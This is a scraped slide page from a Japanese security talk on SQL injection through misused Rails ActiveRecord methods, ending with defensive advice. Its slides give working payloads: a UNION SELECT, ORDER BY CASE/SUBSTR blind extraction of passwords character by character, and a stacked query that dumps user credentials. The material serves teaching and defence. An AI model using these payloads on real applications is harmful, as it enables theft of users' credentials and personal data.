Deprecated : The each() function is deprecated. This message will be suppressed on further calls in /home/zhenxiangba/zhenxiangba.com/public_html/phproxy-improved-master/index.php on line 456
Rails SQL Injection Examplesの紹介 | PDF
Recommended
PDF
PDF
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
PDF
PDF
40歳過ぎてもエンジニアでいるためにやっていること
PDF
PDF
PDF
PDF
PDF
PDF
実録Blue-Green Deployment導入記
PDF
PDF
強いて言えば「集約どう実装するのかな、を考える」な話
PPTX
PDF
PDF
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
PDF
PDF
PDF
マルチテナント化で知っておきたいデータベースのこと
PDF
PPTX
世界一わかりやすいClean Architecture - DroidKaigiバージョン
PDF
react-scriptsはwebpackで何をしているのか
PDF
PPTX
Elasticsearch as a Distributed System
PDF
PDF
PDF
バイトコードって言葉をよく目にするけど一体何なんだろう?(JJUG CCC 2022 Spring 発表資料)
PDF
フロー効率性とリソース効率性について #xpjug
PDF
PyMCがあれば,ベイズ推定でもう泣いたりなんかしない
PPTX
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
More Related Content
PDF
PDF
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
PDF
PDF
40歳過ぎてもエンジニアでいるためにやっていること
PDF
PDF
PDF
PDF
What's hot
PDF
PDF
実録Blue-Green Deployment導入記
PDF
PDF
強いて言えば「集約どう実装するのかな、を考える」な話
PPTX
PDF
PDF
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
PDF
PDF
PDF
マルチテナント化で知っておきたいデータベースのこと
PDF
PPTX
世界一わかりやすいClean Architecture - DroidKaigiバージョン
PDF
react-scriptsはwebpackで何をしているのか
PDF
PPTX
Elasticsearch as a Distributed System
PDF
PDF
PDF
バイトコードって言葉をよく目にするけど一体何なんだろう?(JJUG CCC 2022 Spring 発表資料)
PDF
フロー効率性とリソース効率性について #xpjug
PDF
PyMCがあれば,ベイズ推定でもう泣いたりなんかしない
Viewers also liked
PPTX
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
PPTX
PDF
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
PPTX
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PPTX
PDF
PDF
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
PDF
PDF
PPT
UnicodeによるXSSとSQLインジェクションの可能性
PDF
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Similar to Rails SQL Injection Examplesの紹介
PDF
PDF
PDF
PDF
ISUCONで学ぶ Webアプリケーションのパフォーマンス向上のコツ 実践編 完全版
KEY
PDF
KEY
My sql casual_in_fukuoka_vol1
PDF
Random partionerのデータモデリング
PDF
SQLQL は GraphQL にとってなんなのか
PPTX
PDF
PDF
PDF
PDF
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
PDF
PDF
データベース03 - SQL(CREATE, INSERT, DELETE, UPDATEなど)
PDF
PDF
データベース05 - SQL(SELECT:結合,副問合せ)
PDF
More from Hiroshi Tokumaru
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPT
PPTX
PPTX
introduction to unsafe deserialization part1
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PPTX
PPTX
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
PPTX
PPTX
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PDF
PPTX
PPTX
Rails SQL Injection Examplesの紹介 1. 2. 3. Rails SQL Injection Examplesとは
3http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
4. 5. 6. 脆弱性のあるアプリケーション
Copyright © 2010-2014 HASH Consulting Corp.
6
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
7. UNION SELECTにより個人情報を窃取
Copyright © 2010-2014 HASH Consulting Corp.
7
priceに以下を入れる
1) UNION SELECT
id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
8. 9. 10. ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字目
が s」の利用者を先頭に集めるソート…だが、しかし
Copyright © 2010-2014 HASH Consulting Corp.
10
11. 12. とは言え、やってみた
Copyright © 2010-2014 HASH Consulting Corp.
12
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid | passwd | tel | mail
----+-----------+--------+--------------+---------------------
1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp
2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp
3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp
4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp
パスワードの一文字目が「a」は、実際には2件該当している
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
13. 14. 15. 書籍の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
15
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by passwd;
id | title | userid | passwd
----+------------------------------------+-----------+-------
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
4 | 書き込み式SQLのドリル | takahashi | cdcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
16. ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
16
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
(select case
when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に
else 1 -- その他は後ろに
end from users where books.id=users.id)
ORDER BY の副問い合わせ
17. userid=ockeghemと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
17
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
先頭行がuserid=ockeghemに対応
18. 19. ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
19
=# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2
end from users where books.id=users.id);
(select case userid
when 'tanaka' then 0 -- 'tanaka' を先頭に
when 'ockeghem' then 1 -- 'ockeghem' はセパレータ
else 2 -- その他は後ろに
end from users where books.id=users.id)
※セパレータがないと、'tanaka'が存在しない場合を区別できない
ORDER BY の副問い合わせ
20. userid=tanakaと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
20
wasbook=# SELECT books.id, books.title, users.userid,
users.passwd FROM books, users WHERE books.id=users.id order
by (select case userid when 'tanaka' then 0 when 'ockeghem'
then 1 else 2 end from users where books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
userid=ockeghemをセパレータに
21. 22. パスワードに対する辞書攻撃(1)
Copyright © 2010-2014 HASH Consulting Corp.
22
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='abcd' then 0 -- passwd='abcd' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaのパスワードがabcdと判明
23. パスワードに対する辞書攻撃(2)
Copyright © 2010-2014 HASH Consulting Corp.
23
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='bcda' then 0 -- passwd='bcda' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
passwd=bcda は存在しないことが判明
24. 25. パスワードの1文字目が a の利用者を探す
Copyright © 2010-2014 HASH Consulting Corp.
25
select id, title from books order by (select case when
userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0
else 2 end from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に
else 2
end from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaとyamadaのパスワード
1文字目がaと判明
26. 27. 28. aaaa, bbbb, cccc, ddddの4ユーザを登録
Copyright © 2010-2014 HASH Consulting Corp.
28
(select case userid
when 'aaaa' then 0
when 'bbbb' then 1
when 'cccc' then 2
when 'dddd' then 3
else 4
end from users where
books.id=users.id)
29. パスワードの一文字目をまとめてクエリ
Copyright © 2010-2014 HASH Consulting Corp.
29
(SELECT CASE
WHEN userid='aaaa' THEN 1
WHEN userid='bbbb' THEN 3
WHEN userid='cccc' THEN 5
WHEN userid='dddd' THEN 7
WHEN SUBSTR(passwd,1,1)='a' THEN 0
WHEN SUBSTR(passwd,1,1)='b' THEN 2
WHEN SUBSTR(passwd,1,1)='c' THEN 4
WHEN SUBSTR(passwd,1,1)='d' THEN 6
ELSE 99
END FROM users WHERE books.id=users.id)
※ 簡単化のためパスワードは a~d 4文字で構成とする
30. パスワードの1文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
30
tanakaとyamadaのパスワード
1文字目がaと判明
takahashiのパスワード1文字目がcと判明
ockeghemのパスワード1文字目がdと判明
tanaka a***
yamada a***
takahashi c***
ockeghem d***
31. パスワードの2文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
31
takahashiのパスワード2文字目がdと判明
ockeghemのパスワード2文字目がcと判明
tanaka ab**
yamada aa**
takahashi cd**
ockeghem dc**
tanakaのパスワード2文字目がbと判明
yamadaのパスワード2文字目がaと判明
32. パスワードの3文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
32
tanakaとtakahashiのパスワード
3文字目がcと判明
yamadaのパスワード3文字目がaと判明
ockeghemのパスワード3文字目がbと判明
tanaka abc*
yamada aaa*
takahashi cdc*
ockeghem dcb*
33. パスワードの4文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
33
ockeghemとyamadaのパスワ
ード1文字目がaと判明
tanaka abcd
yamada aaaa
takahashi cdcd
ockeghem dcba
tamalaとtakahashiのパスワー
ド4文字目が d と判明
34. 35. 36. ORDER BYの後にUNIONは使えない
Copyright © 2010-2014 HASH Consulting Corp.
36
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title
UNION SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT * FROM users -- asc
37. 38. 39. 40. ユーザー情報の窃取に成功
Copyright © 2010-2014 HASH Consulting Corp.
40
SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS
isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM
users-- asc
41. 42. 43. 44. 45. まとめ
• Ruby on RailsのActiveRecordの使い方に起因するSQLイン
ジェクションを紹介
• ActiveRecordのメソッドには、与えられた文字列が「そのま
ま」SQL文に展開されるものがある
• 値パラメータについてはプレースホルダを活用
• 表名、列名、キーワードについては以下のいずれかを行う
– 表名、列名、キーワードのホワイトリスト検査
– 外部では番号で指定して、内部で表名、列名、キーワード等に変換
する
• SQL識別子のクォート&エスケープをさせる目的で、Rubyの
識別子を積極的に活用することの是非については有識者の
ご意見をお伺いしたいです
Copyright © 2010-2014 HASH Consulting Corp.
46